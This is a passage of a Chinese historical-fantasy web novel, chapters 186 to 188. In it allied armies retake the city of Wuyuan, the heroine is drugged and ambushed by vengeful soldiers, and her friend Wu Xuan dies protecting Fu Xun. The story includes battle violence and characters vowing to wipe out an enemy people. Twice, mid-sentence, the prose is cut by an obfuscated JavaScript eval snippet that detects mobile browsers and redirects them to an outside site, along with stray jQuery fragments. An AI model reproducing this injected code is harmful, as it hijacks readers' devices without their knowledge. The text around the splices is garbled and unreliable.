而瓮城的城墙上,无数黝黑液体纵横泗流,紧紧黏附在墙上、门上、骑兵和马匹身上,一挨近火焰便轰然窜起火苗、见风就长,无论是在地上翻滚还是倒水都不能扑灭,坚若磐石的铜大门被烤得通红发软。 “好臭,跟烂鸡蛋一样”,武煊嗅到吹过来的气味,“这什么玩意儿,比火油还烫?” “西羌人管它叫石脂,烧起来比寻常火油更热,又叫猛火油”,苻洵沉声道,“我就说,冯栩为何跑那么远去跟曲勒国建交。” 武煊若有所思点点头:“听我娘说过,在乌兰沙海最西边钻井,钻得够深会冒出黑色稠液,太阳一晒就能燃起,怎么都扑不灭,一眨眼就能把马匹烧得骨头都不剩,从没有人敢把它们挖出来烧。” 苻洵淡淡道:“曲勒国掌握了一种法子,可以少量开采和保存石脂。” “幸亏咱们动作快,早早平了曲勒”,舜英后怕地擦了把冷汗,“冯栩就是在乌兰沙海长大的,肯定知道这玩意儿。他可不是想用粮食去换,而是想掌握开采和保存之法。” 石脂毕竟数量有限,过了近一个时辰,瓮城的烈焰慢慢灭了。武煊已命人去挖了几十车砂土、用水和湿,这次他看着苻洵命传令兵发射烟花,龙骧军开始列冲锋阵型,才吩咐人将湿砂土倒在还没燃尽的火苗上。 “冲!” 重骑兵开道,甲光金鳞向日开,密密麻麻的铁甲汇成钢铁洪流,咆哮着奔入武原盆地,重甲兵的身后,数万骏马奔腾如雷,穿过神武关三道瓮城,铺天盖地驰骋在武原盆地。 而此时,远处武原城整兵备战的钟声正咣咣乱响,不知敲了多久。 “都已经派人截杀传令兵了,反应还这样快?”武煊看了看地势,恍然大悟,“都督府在山顶,从望楼能看到火光。” 舜英颔首:“石脂不止为了阻碍行兵进度,更是为了示警,就跟烽火台狼烟一样。你是不是忘了,从神武关能看到武原城?” “对啊,既然我们看得见他们,他们也能看到我们”,武煊懊恼地拍着脑门,“只有大干一场了。” “废话真多!骑个马都不安生”,苻洵一边疾速策马、一边远眺武原城,经过舜英身边时略略一勒缰绳,落后他们半步,然后扬鞭挤进并行的马匹中间、将二人隔开,“回亲兵中间去,打完再慢慢聊。” 密集的马蹄声像鼓点、杂乱纷繁卷过初夏遍地荒草,尘烟四起中,一行人已行至武原城南门之下。城门轰然大开,蹿出几千骑兵的应敌先军。 掩藏在北翊骑兵身后的盾兵和枪兵忙不迭向前冲,武煊深吸一口气,正要高呼。 “冲过去!”苻洵忽然开口。传令兵高声呼喊的同时,他闲闲挽起一张强弓,将羽箭搭在弦上、拉成满月。尖啸声中,末端染成鲜红的箭劲射而出,钉在城门上方“武原”二字匾额上。 羽箭离弦的刹那,薛怀嘉率郅阳骑兵为先锋,舞动长矛飞驰着冲向南门;武煊也挥了挥手,他身后的重骑旋即汇作钢铁洪流,撞向疾驰而来的北宛精骑。 武煊愕然:“真要硬碰硬?城里可有一万精骑和上百架军弩。” 苻洵淡淡道:“他们没机会派上用场了。” 武煊正不解其意,忽听城内传来阵阵惊叫,抬眼望去只见白烟滚滚,城东、城西、都督府山顶多处同时窜起冲天火光。 惊叫的北宛人嘴里,时不时蹦出熟悉的词汇——“马厩”、“武库”、“中帐”…… 苻洵看着满城火光,神色平静得像一汪深潭。 “会放火的,又不止他一个。” 186. 北定中原日 “原来你有秘密武器啊!”武煊惊喜地大叫,转瞬有些愤懑,“不早告诉我。” “不是我的,是你们北翊的”,苻洵挑了挑眉,轻声嗤笑,“出发之前,姜夫人有没有跟你说过,收复武原由我担任两军总指挥?你哪次听过我指挥,怪我?” “你这!很欠揍懂吗?”武煊被噎住,憋得脸通红,咬牙切齿瞪了舜英一眼,“你也跟他一起瞒我!” “几年前大殿下北伐,数十万北宛牧民迁徙到三军郡,辛辛苦苦挑出些得用的,培养后分批潜进武原城”,舜英忍俊不禁,耸了耸肩偷笑,“事以密成,言以泄败。你一高兴就喜形于色,敌军瞅一眼就能瞅出个一二三。” 北翊、荣国骑兵踏着满城战火,从武原城南门长驱直入。北宛驻军存于武库的军弩尽皆被毁,马厩被焚、战马受惊四散溃逃,无数前往马厩的骑兵被狂发狂的马匹踩踏于蹄下,转身向外逃窜时又撞上外围不明就里的同袍。 推搡、踩踏、人的惨叫马的嘶鸣混在一起,黑压压一片人窜马逃。少数身手矫健者抢到马匹,从同伴的身体上踩踏而过逃向外围,旋即撞上驰骋而来的北翊或荣国轻骑。 武器一寸长一寸强,惯使弯刀的北宛士兵被对方手中长枪轻松挑落。 在这片混乱中,武煊橫槊立马,率三千铁甲重骑穿过武原城,一路砍杀追击着来不及上马、狂奔逃窜的北宛精骑,冲向武原城以北的朔门关。 正大门、七重瓮城,八道厚重的城门次第洞开,比九天阊阖开宫殿更气势磅礴、恢弘庄严。 打开最后一重门时,黑压压的人头映入眼帘,数万穿着翊国服饰的骑兵,正顺着朔方门外、乌兰山隘口蜿蜒的峡谷山道,整齐而威严地徐徐走来。 武煊兴奋的扬了扬手,高声呼喊:“谢大哥,快些!” 早在七天前,谢朗已率五万轻骑绕过大草原,从东线阻隔柘枝城方向粮草供给和援军、截杀线报;薛怀嘉率两万郅阳精骑靠近朔门关、阻挡西边的援军。 当苻洵将那支箭射上武原城门时,武原实质上早已在三路夹击下、锁为孤城。 史载,建宁十四年四月初八,建宁王苻沣、靖安王元承赟奉“边垣之盟”,各自派威远大将军苻洵、临梁郡公武煊,率荣、北翊联军共同夺回北疆第一要塞朔门关。 当天下午,霍修率五万步兵穿越平阳、定安盆地,进驻武原城。此后数日,更多的北翊军队接踵而至,依次入驻临梁郡、建兴、上阳郡、怀阳等地。 夜晚,犒军的酒肉已送到。初初搭就的西郊大营外,上百个火堆照得长夜通明,两国骑兵分为三队,分批去篝火旁饮酒吃肉、放歌跳舞、划拳舞剑好不热闹。 舜英也饮了些酒,默默注视着手拉手、拥抱着欢呼的两国骑兵,眼里有泪光一闪而过,她缓缓扬起唇角、纵身上马向北而去。苻洵担心她酒后头晕,也骑马跟了上去。 一步又一步,迎着恣肆的夜风,沿台阶拾级而上,一直走到朔门关正门的城楼上。低下头,轻轻抹去城墙上被浓烟熏出的焦黑。 “阿洵,我想再看一看这座关隘、这座城池。” “从建宁三年到建宁十四年,姐姐十二年的心结都在这座城池,如今终得纾解”,苻洵走到她身边、与她并肩站定,递给她一壶酒,“荷叶酿的酒味很淡,你今晚高兴可以多喝点,我带你回去。” “是啊,十二年,”舜英接过酒壶喝了一口,“之前反反复复那么多次,走了太久,这最后一步倒比想象得容易些。” 酒气激得她眼波潋滟,她饶有兴味地问:“现在可以说了吧,你当初怎就那么笃定,最好的时机就这两天?还跑去立军令状?” 苻洵笑了笑:“主要原因有三:其一,北宛散骑的马匹经一个冬,正是瘦弱无力之时,而荣国和北翊冬季有草料饲养,无此忧虑;其二,荣国倾举国之力支撑此战,粮草供给已岌岌可危、实在拖不起。” 舜英似笑非笑:“第三才是最要紧的吧?” “知我者姐姐也。其三,冯栩统治二十三部靠的是武力威慑,难免会出几个刺头。我前天收到一条线报,冯栩此时正在极北的阿古拉部处理叛臣,至少半个月回不来。” 舜英点点头:“七年前的教训霍修肯定吃够了,我看他这次一回来,气还没喘均匀就急吼吼地拿出一张地图,圈的全是这些年他总结出的、北宛兵可能故技重施潜进来的薄弱处,这会儿加强布防的兵已经出发了。” 她突然脸色凝重:“光这样还不够。” “姐姐聪慧”,苻洵笑着从袖中取出一封信函递给她,“陛下的密旨,下午刚到。” 苻沣与元承赟协定:效仿永平五年北伐,从北卢郡、朔门关、三军郡分三路出发,集十几万精骑驰骋草原大肆劫掠、俘杀支持冯栩的单于,直到彻底击碎冯栩对的二十三部的控制、屠尽犯境之狼骑。 “其实还不够”,苻洵向着北方极目远眺,忽然沉声开口,“永平五年的北伐,也远远不够。” 舜英霎时明白这句话的浓重杀意,酒醒大半,睁大双眼定定注视着他。 幽沉如水的夜色中,苻洵手指张合、用力攥紧别在腰间的刀,字字清晰而铿锵:“只要北宛还剩一名黩武之辈,北疆的战火就永不会熄灭。” 舜英顺着他的视线看去,目光越过七重瓮城,越过绵延起伏的巍峨乌兰山、看向北宛一望无垠的草原。凝视许久,深吸一口气,眼神逐渐坚定,握紧了手中横刀。 苻洵似有所感,侧过头对她温和一笑:“这滔天的杀孽由我来担,姐姐只管安心待在将军府,不要再弄脏双手。” “不,阿洵,我找回了自己的道”,舜英傲然注视着远方,声音清楚有力,“我要策马挥刀、驰骋北宛草原,我要屠尽柘枝城和二十三部所有黩武之辈。若这还止不住他们南下的战马,我就以牙还牙、将柘枝城夷为平地。” 她仰起头,抬手将壶中荷叶酿尽数倾入口中,一饮而尽,拔出腰间横刀、向着北方斩下,一字字冷声道:“杀人安人,杀之可也;攻其国爱其民,攻之可也;以战止战,虽战可也!十二年前,我做得不是太狠、而是不够狠!” “阿洵,万人、十万、百万的杀孽,你当得,我也当得!” 舜英和苻洵回到营地时,武煊正坐在篝火堆前,一边翻烤着一只羊,一边跟身边的清秀男子说笑。 那男子细胳膊细腿,穿一身交领箭袖直裰,看起来十分干净斯文。对面是武卒营校尉方伦,正沉默着用小刀片下烤好的羊肉、放进旁边的粗陶大盆里。 武煊一见他们回来,忙站起来迎上去:“你们可回来了,快来,特意留了只烤羊。” “我不爱吃那玩意儿”,苻洵唇角弯起瞥了一眼舜英,“你们慢慢聊,我先回去给你弄碗醒酒汤。” “谁要管你,给……给许姑娘留的”,武煊已喝得有略有醉意,做了个“请”的手势,“许姑娘快来,这块最嫩的我一口没动,按你的口味不加孜然。” “她是我的夫人,还望郡公不要忘了”,苻洵脸色微沉,眼神陡然锐利盯住武煊一瞬,又柔和下来,“聊完了早点回来,明天班师不要困得骑不动马。” “放心,包管全须全尾给你送回来”,武煊笑嘻嘻看着苻洵远去的背影,“这个也不错,会疼人,比先前的……嗷——” 舜英不动声色踩住他脚背,将他接下来的话踩回去,远远瞥向火堆轻声道:“那俩人看着怪眼熟。” “你这记性可以呀”,武煊引着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955487|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她走到篝火堆旁,一一介绍,“方伦大哥先前在上阳郡跟着爹,后来又跟随姜都督,战场上替我挡好几次刀枪,真正的过命交情。” 又指向那斯文小生:“这是陶敬,原本跟着大殿下在太尉府做事,永嘉一年护卫姜夫人他们北上,如今很得靖安陛下重用。对了,这次犒军酒肉就是他从宛平押送来的。” 武煊又对那两人说:“这位是许夫人,苻将军的娘子,跟姜夫人和姜刺史一样,巾帼不让须眉的女将。” 舜英十分了解武煊,喝得三分醉说话跟淌水,越阻止越来劲,于是与那两人抱拳见礼后、围着火堆坐下。 方伦见来了个美貌女子,忙从旁拿起一只没用过酒碗,洗涮干净后、从旁拿起个更精致的酒坛,满斟好酒双手奉上。 “有好的不给我?”武煊笑盈盈抢过精致酒坛,给自己也倒了一碗,咕噜噜一饮而尽。 陶敬笑了:“这是女儿红,有红妆英雄在此正好开封。”给自己和方伦也斟满,齐齐向舜英祝酒。 舜英扶着有些晕的额头,恋恋不舍瞥过欢笑的武煊、欢庆的翊国将士、伫立千载的武原古城,端起酒碗一饮而尽。 火光、人影忽地晃出无数重影,手脚开始不听使唤地发软,她陡然意识到什么,伸手想扶住个人借力,却隐隐绰绰见到武煊已经倒地,另两人慢慢站了起来。 视线越来越模糊,她逐渐什么都看不到,耳畔嗡嗡轰鸣,依稀能听见人声。 陶敬:“大翊靖安陛下密旨,临梁郡公武煊接旨。一经寻得褚太后,即刻严加护卫送回宛平,奉迎正统回归,不得有误。” 武煊:“陶大哥你这不是坑我吗?完了完了……” 方伦:“已经得罪了,干脆一不做二不休!” 陶敬:“带回去受万民供奉,不比打打杀杀好?” 武煊:“有道理!” 武老六你个杀千刀的!这是舜英彻底晕过去前,心里唯一的想法。 . 风吹树林声、松涛声、虫鸣、鸟叫、马蹄声、人声……混着缠杂不清的开门声和吆喝声。 她在迷迷糊糊的梦里颠簸起伏,惊讶发现自己再次变成野兔,欣喜难抑地奋力一跃,奔向对面一碧无垠的嫩草。 即将抵达草坪时,她踩了个空,向着无底深渊直直坠落下去。 踩空的瞬间,身后追赶她的东西终于显出真身——一匹矫健慧黠的母狼,在月下缓缓对她亮出锋利的爪牙。 “呼——”舜英从噩梦惊醒,柔和晨光在皮肤投落不冷不热的温度,她被包裹在浓厚白雾中,头发和衣衫都被雾气浸得濡湿。 略微一动胳膊,熟悉的感觉——四肢、腰部都被紧紧绑着。她迅速打量四周,他们正穿行在深山老林,方伦和陶敬架着武煊走在前面,两个矮壮的抬着她躺身的担架。一群身着黑色短打的人簇拥在周围,在如此密集崎岖的山林里仍然健步如飞,可见个个身手不俗。 “都跟你们说了她不会随便动手,捆那么扎实”,武煊有气无力地嚎啕,“跑快点,苻洵现在肯定想一刀砍死我。” 方伦:“没事,眼下两国正在和谈,他不会随便动手,顶多是……” “诶,方向反了,你们往哪儿走?”武煊身形一顿,转头就要往回走。 方伦和陶敬对视一眼,同时出手、卸下他两只胳膊,一人一边拖着他,领着身后人抬着舜英疾步走向密林深处。 直走到日上中天,一行人挤过灌木丛遮盖的小径,停在一座地势略低、三面峭壁的山谷里。 舜英越来越心惊,却连张嘴都力气都没有,武煊也高声质问:“几个意思?” 陶敬缓缓转身,唇角浮起一丝冷笑。 “是时候了。” 187. 小民的复仇 “奉太王太后令,有享大翊万民供奉而不守节义、不死家国者,人人得而诛之!” 方伦一字一字高声说,转头直勾勾盯住担架上的舜英,眼中闪烁着嗜血恨意。 陶敬与方伦同时用力抡开武煊:“多谢六郎,若非你这样热情熟稔,我们还真确定不了是她。” 二人说着,攥紧腰间佩刀,一步步逼近担架。 武煊被他们抡飞,平平摔出去、砸得尘土草叶乱飞,他顾不上疼痛,用尽全力惊恐高呼:“你们疯了!咱们奉陛下旨意要将她迎回宛平!” “接她回去继续锦衣玉食、万民供奉,她也配?”方伦断然怒喝,“七年前建兴之围你都忘了?昇阳城十万亡魂你都忘了?” 武煊拖着双腿踉跄扑过来,张开双臂挡在舜英身前、面向方伦:“误会,误会……你们搞错了,她那会儿已经死了!” “她那会儿正与敌国将领同床共枕”,陶敬一把撇开武煊,咄咄逼人,“堂堂王后不殉家国、委身事敌,为臣不忠、为妻不贞、为母不慈,我大翊子民耻于供奉如此正统!” 弯刀霍然出鞘,在空中挥落似一匹素练。 武煊腰间佩刀早已被他们卸走,挣扎着爬起来一头撞向舜英。却因力气太弱,担架上的人近乎纹丝不动,只能眼睁睁看着锋利的刀尖,挟赫赫风声、森森寒气刺向她。 电光火石间,被紧紧捆缚的舜英忽然动了,并未躲避刀尖,只双腿用力一旋、以不可思议的轻盈拧腰鞣身而起,右臂飒沓一挥而过。 一簇血花乍然绽开又湮灭,陶敬捂着脖子踉跄后退,鲜血从指缝间不断汩汩流下。 舜英挥洒的右臂没有停,闪电般掠过他右手,同时翻转手腕,一把从夺过弯刀斜斜劈下。陶敬愕然睁大双眼,直到轰然倒地、视野彻底黑下去之前,才感觉脖子和手腕痛得钻心。 飞溅的热血落到武煊脸上时,舜英已行云流水收刀背在身后,吐出紧急之下咬破的舌尖血,缓缓拭去溅到脸上的血滴,再按下护臂上的机括按钮,一枚锋利尖刺无声收回。 她轻描淡写问:“我与翊国已无任何干系,也没兴趣回去受什么供奉。陶敬已死,今日之事我不再追究,你们也没见过我。如何?” 武煊拔出陶敬身上的短刀,将其横在胸前,站立起来与舜英背对背:“各退一步,大家都有活路!” “武六,你个无君无父的杂碎!”方伦咬牙切齿怒骂起来,“你武家满门忠烈,你却与叛贼为伍,你父兄便是九泉之下也以你为耻!” “骂谁是叛贼?”武煊深吸一口气,正要跳脚怼回去,身躯无力地往后靠了靠,发现舜英站得虽直、后背却正微不可察地颤抖,于是语气软下几分,“她奔袭千里刺杀冯栩时你们……” “不必解释”,舜英语气极轻打断他,面向方伦轻蔑冷笑,“君父?大义?我是不是叛贼,轮不到你们来评判,一群是非不分、只配被当枪使的蠢货!” 方伦被她厉声呵斥得一怔,周围黑衣人齐刷刷将目光投向她。 舜英脸上蔑笑不改,若无其事垂下刀转过身,脚步四平八稳地向山坳外走去。武煊会意、依然横刀胸前,与她背对着慢慢走向山外。 “她的腿在抖,软筋散药性还没过”,人群中忽然传出一声高呼,“忘了西三营和昇阳城的兄弟了吗?血债血偿!” “血债血偿!” “血债血偿!” 人群里呼喊震天,带着磨牙吮血的仇恨和快意,齐刷刷刀剑出鞘、冲向已走出数步的二人,将他们围了个水泄不通,白刃纷纷如霜斩落。 舜英举起软麻的手臂,强撑着舒臂挥过,刀光泠泠如秋水、溅落处血飞五步。武煊也趁乱抢到一把刀,二人互相护住彼此身后空门。没有任何花巧和招式,只是凭直觉不断闪身躲避、出手刀刀见血。 一番激烈的互斫和打斗,两人身上都已被划拉出许多刀伤,脸上身上都溅满血迹,背贴背互相支撑着。同来的人被他们砍倒十来个,其余人没想到他们中软筋散在先、受伤在后,还能有如此战力,不由后退了几步,死死盯着他们。 “不成想还能与你并肩作战”,武煊累得喘气,“几年不见刀法见长,不像以前那么好看,却更快更实用。” “少说话,省些力气。”舜英低斥打断,唇角却微微上翘。 武煊看向方伦:“方大哥,你是父亲和姜都督的旧部,我打心眼里敬重你。你就算心存怨怼也不该如此不分青红皂白,不如将咱们押回宛平,自有靖安陛下分说……” “回不去了”,方伦眼眶通红,满是泪水,“回不去了,六郎。原来武卒营的两千兄弟只剩我一个,每天一闭上眼、他们都在我眼前跳啊笑啊,就像还活着一样。我也早就死了,只剩复仇的这点执念支撑着才没散。” 他转身拔出一把□□,双手提着刀柄、在地上拖行而来:“六郎,你包庇叛国逆贼在先,戕害袍泽在后,大哥先替你爹清理门户,再亲自下九泉、押着你们向西三营几十万将士请罪。” 方伦脸上满是疯魔的笑容,任武煊如何分说也充耳不闻。 “逃!” 舜英感觉腿部力气恢复了些,一把拉住疯狂辩解的武煊,向外拔腿就跑。 “方大哥要杀我……”武煊边跑边哽咽。 舜英气喘不均匀:“逃出去再嚎!” 武煊抹了把泪水,脚步迈得更快,累得上气不接下气,嘴里却没停:“方大哥要杀我,冯太后要杀你,苍天啊——” “闭嘴!”舜英抓住他侧身一滚,躲开□□凌厉一劈,同时挥刀划过方伦手臂。 方伦吃痛,砍进地面的□□拔出时慢了些,舜英趁机爬起来、正打算继续往外跑,黑衣人却已如潮水般漫过来,堵在他们出谷的路上。刀尖齐刷刷对准他们,一步步紧逼、缓慢收拢包围圈。 与此同时,方伦再次双手举起□□,对着他们重重劈下。 电光火石间,舜英听到一阵急促的马蹄声,旋即感觉风声有异,忙拉着武煊飞快旋身一躲,滚烫的血如深红锦缎,劈头盖脸泼了满头满身。 抬眸看去,只见一柄红缨枪迎面掷来,去势凌厉狠辣,当胸洞穿方伦的身躯。去势不减,带得他往后倒退数步,将他死死钉在背后的峭壁上。 “我一路都在啊,诸位若想复仇,早干嘛去了?”马蹄声转为平缓,滴滴答答徐徐靠近,苻洵闲闲笑着驱马踱来,“诸位是觉得——将无辜之人迷倒骗走、缴械之后再恃强凌弱,比来荣军大营找我这个正主复仇,更光明磊落?” 他孤身一人,左右两侧并肩走着两匹空马,手中并未执任何利器,唇角挂一缕浅笑、懒懒散散走向人群。堵在谷口的黑衣人情不自禁往后退开,自觉为他让出一条路。 他目不斜视穿过人群,凉凉道:“还是说,先前还用得着在下共御异族,如今武原城一夺回,就都突然记起自己的国仇家恨了?这样可不太好,用人朝前不用人朝后,啧啧……” 被钉在石壁上的方伦拼着最后一口气,哑声嘶喊:“苻洵,你屠戮我袍泽兄弟,我与你不共戴天。” “怎么,在座各位当惯大国将士、欺凌惯了他国,就忘了最浅显的道理么?”苻洵笑容可掬地提醒道,“打仗,本来就是要死人的。” “凭什么他国将士死得,你们就死不得?凭什么只有你们能为刀俎,别人就只能乖乖作砧板上的鱼肉?一旦厉兵秣马奋起反抗,便是你们说的不服教化、穷兵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960686|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黩武?” 说话间,他已在舜英和武煊面前勒住缰绳,矮身扶起舜英、托着她坐上马背:“你们先出去。” 武煊两眼含泪、转头瞥了一眼奄奄一息的方伦,咬牙骑上马背,二人调转马头向谷外小跑而去。 苻洵瞄见地上那柄沉重的□□,弯腰试了试分量,单手提起刀柄撑在地上,含笑环视四周众人:“算账?复仇?我也好好与你们算一算,北三郡和渝安水师的一共多少人命。” 他缓缓举起□□,刀尖一个个指过围成一圈的黑衣人,眼神漫不经心,却唬得众人齐齐往后退了两步。 “一群鼠辈,也配我动手?”苻洵轻轻一嗤,翻身跃上马背,“若此刻有人对我挥刀,还真能叫我高看一眼。” “时无英雄,使竖子成名。”他懒懒地扬声说着,旁若无人驱马向谷外踱去,竟无一人敢上前阻拦。 看见等在谷口的舜英,苻洵脸上浮出微笑和关切,加快速度跑到她身边,递给她一瓶药,反反复复上下打量:“软筋散的解药,伤得怎样,还能不能骑马?” “皮外伤,无妨。”舜英笑了笑,倒出两颗药丸吞下,将瓶子扔给武煊。 “谢了,实在对不住”,武煊吞下药丸,将瓶子扔回给苻洵,转头看向山谷,“你就这样放任他们活着,出去乱说?” “两国正在和谈,我不愿横生枝节”,苻洵脸色冷若冰霜扔给他两把刀,“你自己惹出的麻烦,自己收拾干净!” 不再搭理臊眉耷眼武煊,只将一根马鞭递给舜英,二人相视而笑、心照不宣地点点头,扬起长鞭正欲落下。 武煊忽然从马背一跃而起,扑向目不转睛盯着舜英的苻洵,一把推开了他。 “噗”,锐器没入血肉的浊响,舜英失声惊呼:“武六!” 那支箭不偏不倚,射中武煊之后穿胸而出,他艰难地转过头、似乎笑了笑,张张嘴想要说什么,却只吐出大口鲜血。旋即,另一支箭射穿他另一侧胸膛。 “武六!”泪水模糊了双眼,舜英正要跃下马背查看,苻洵一把按住他、同时勾住马背将武煊从地上捞起,放在自己马背前方:“弓弩手,走!” 身后车轮辚辚,是黑衣人推着两台弩车从谷中狂奔而出,对面出山的路不知何时也架起两台弩车,两边坡顶各显出三台床弩。 “快和谈了,这是复仇的最后时机,杀了苻洵,为西三营兄弟复仇!” 更多的箭簇从四面八方射来,霎时间,像下了一阵急促的雨,密密麻麻交织成锋利的天罗地网。同时轰隆巨响,山坡上顷刻滚落无数大小石头。苻洵一手拖住武煊、一手拉起她跳下地面,将马身当做掩体躲在其后。 纷纷乱乱的箭簇射进马匹血肉之躯,石块砸到马腿上马背上,马匹的惨叫嘶鸣响彻山谷。那三匹通人性的马仍坚持着屹立不动,为他们挡住锐利的攻势。 这次刺杀显然做足了准备,军弩、石块、滚木……一拨又一拨攻势分配得当,快半刻也不见懈怠分毫。已有好几支箭擦着他们身侧飞过、割开道道伤痕。 舜英低头去看武煊,两支箭分别穿透他左右胸膛,洇出两团圆圆的血红。箭未拔出,他还勉强撑着最后一点生机,却也已经出气比进气多。 “这样下去不是办法”,舜英已恢复些许气力,谨慎地伸出头四下打量,又一支箭飞来,她忙缩回马身后,同时顺下一副弓,捡起地上的箭交给苻洵,“咱们先解决堵在路上的弓弩手,你箭术好掩护我。” “箭太密,掩护不了”,苻洵摇头,又懊恼地拍了一下额头,“都怪我只顾什么和谈,不带白袍卫,太过轻敌!” “烟花”,靠在马身的武煊忽然看向苻洵,“你带没带传信烟花?” 188. 故人长绝 武煊的气息越来越弱,声音细如蚊蚋,苻洵和舜英忙附耳去听。 武煊痛得发抖,苍白唇角却扬起得意:“我虽轻信他们,却也知道她身份特殊,为防万一,一路趁他们不注意给飞廉留了暗号……” 苻洵眼睛一亮:“姐姐,紧急求救是什么?” 舜英:“三红两黄。” 传信烟花全放在马背上的包袱里,苻洵路左右躲闪着,一边去解压在马脖子下的包袱。 “阿洵,还有伤药。”舜英的声音带着哭腔。 “用不上了,止痛药就成”,武煊几步开外忙碌的苻洵,忽然笑了,“肯为你豁出性命的男人,真好……这么多年,终于有人知道你也会疼、也会失手,也有需要人救、需要人依靠的时候。” 舜英含泪将他身子扶得舒服些:“还这么多废话。” 武煊:“问你句实话,四哥是不是不想管那些人了?冯太后、承祎、承赟……” 舜英思忖片刻,摇头笑笑:“他只是自顾不暇……武六,你几年的苦没白受。” “不用宽慰我,没事……”武煊笑容带着释然,“你们都很不容易,还活着就很好了。” 求救烟花尖啸着升空,在空中窜出三红两黄共五条轨迹,舜英的眼泪掉下来:“你也撑住,援兵快到了。” 武煊摇摇头:“给我点止疼的。” 喊杀声越来越近,苻洵扔给他们一个木盒:“照看好武煊。”语罢,拔出佩刀边躲箭边杀向身后的黑衣人。 舜英垂眸,从木盒里取出三枚白色药丸递到武煊唇边,他救命似的张嘴吞下去,闭眼沉吟了半晌,缓慢睁开眼、目光灼灼盯着她,满是恐惧和急切:“快逃……冯太后不会放过你的,不……逃也没用,逃不掉……你对她威胁太大,那封血诏……” 忽而又露出悲切:“别怪四哥,他留下那东西是想保你,不成想变作了催命符。” 舜英心神一凛:“他到底留给我什么?” 石块和箭雨慢慢停了,武煊摇摇头没有说话,艰难地抬头看向坡顶、唇角上扬。舜英顺着他目光看去,只见黑袍黑氅在风中吹拂,刀光剑影血溅五步,守在床弩、石堆、和圆木旁的刺客尽皆伏诛。 熟悉的声音从头顶传来:“末将纯钧,奉靖安陛下之命解救临梁郡公,犯上者视为谋逆,诛无赦。” 纯钧解决了坡顶刺客后,率麾下武士冲进峡谷,分开两队杀向堵在道路两头的刺客。远处传来另一阵急促的马蹄声,紧跟着长声嘶鸣停下。旋即,素衣人影纷纷下马,森冷刀光挟风雷之势狂飙而来。 “主子,可找到你们了。” 秦川带着一队人踩过遍地尸骸,视若无睹跑过她身边,跑向苻洵。 舜英怔了怔,正要问秦川为何在这儿,武煊忽然开始咳嗽、吐出两口血,双手紧紧抓向她手腕。 她如梦初醒:“六郎!六郎!纯钧,快来救人!” 武煊攥着她的手腕,又咳了两声,身躯的颤抖逐渐停了,像是已感知不到痛觉:“去宛平吧,都怪我前些天……军中不知有多少人猜到你身份,杀了这一群。还有千千万万人等着要你命……” “你别说话”,舜英泣不成声,抓紧他冰凉的手,绝望地放声嘶喊,“来个军医,来人啊——” “别喊,没救了。”武煊舒展眉眼,露出毕生最后一个笑容,手慢慢失去力量,强撑的最后一口气散了。最后一句话脆弱得像尘烟,被暑热的风一吹就消散无踪。 “都怪我……暴露了你,还好没害死你们。” 舜英全身骤然失去力量,她再也扶不住武煊变沉重的上半身,跪倒在满是箭簇碎石的地面,攥着武煊逐渐冰凉的肩膀,茫然无措、嚎啕大哭。 四周的打斗不知何时停了,苻洵从身后抱住她,一边柔声宽慰、一边将她被扎得血肉模糊的膝盖从地上抬起。 秦川挤进人群诧异地瞥了一眼,正要张嘴问,苻洵忙对他使了个眼色,秦川于是赶紧站得远了些、躲到舜英看不见的地方。 纯钧神色复杂看了许久,有人来报:“指挥使,案发地已清扫完毕,案犯尸首俱已归置。” 纯钧才慢慢单膝跪地,抱拳行礼艰涩地开口:“报告首……许夫人,案犯俱已伏诛,请让郡公安息。” 舜英靠在苻洵怀中,手仍紧紧攥着武煊满是血的衣袖,麻木的脸上没有任何动作和表情,只不断从眼眶涌出泪水。 纯钧抬头看了看升到中天的太阳,跪着施礼的姿态未变,恳求地看着她,数次欲言又止。 半晌,舜英呆滞的眼珠慢慢活络,艰难挤出一丝微笑,松开攥着衣袖的手:“多谢相救。” 纯钧低头垂眸,招手示意下属抬来担架,将武煊的遗体抬上去,又去拔刺穿身体的箭。 “轻点,他会疼。” 她笑了笑,抬头四顾,目光突然定格在山坡的一处,苻洵顺着目光看去,那里一片槐花开得正盛。 一串又一串,洁白晶莹、浮玉雕霜,盖在血迹斑斑的遗体上,沁人心脾的甜香掩盖了浓重的血腥。秦川脱下白色大氅递给纯钧,白布覆盖时,那张脸仍带着微笑,似乎只是睡了一觉。 纯钧对他们再次施了一礼,抬着遗骸向外走去。 “纯钧”,舜英忽然追了两步,高声喊道,“他喜欢喝桂花酿和兰陵春,喜欢吃煮羊肉烤羊肉各种羊肉。” 纯钧身躯一顿,转过身笑了笑:“记住了,管够。” 舜英转过身,笑着看向苻洵:“阿洵,我们回去吧。” 苻洵心痛地抱紧她:“姐姐,想哭就哭出来吧。” “我没事,武六跟他们回宛平去大酒大肉了”,舜英笑吟吟地说,“阿洵,我们也该班师回去了,还得跟他们一起去打北宛呢。” 苻洵抱起她托到马背上,自己坐在她身后,一臂牵住缰绳、一臂搂着她,慢慢走向谷外:“他是你最要好的发小,我知道你很难过……难过就好好哭一场……” “我不难过,为什么要难过?天下没有不散的宴席……”她笑着轻声说。 苻洵重复道:“武煊已经死了。” 她摇摇头,柔声道:“他没死,这是他惯用的骗人把戏,上次都跟我说他下落不明,过几年就又出来了?” 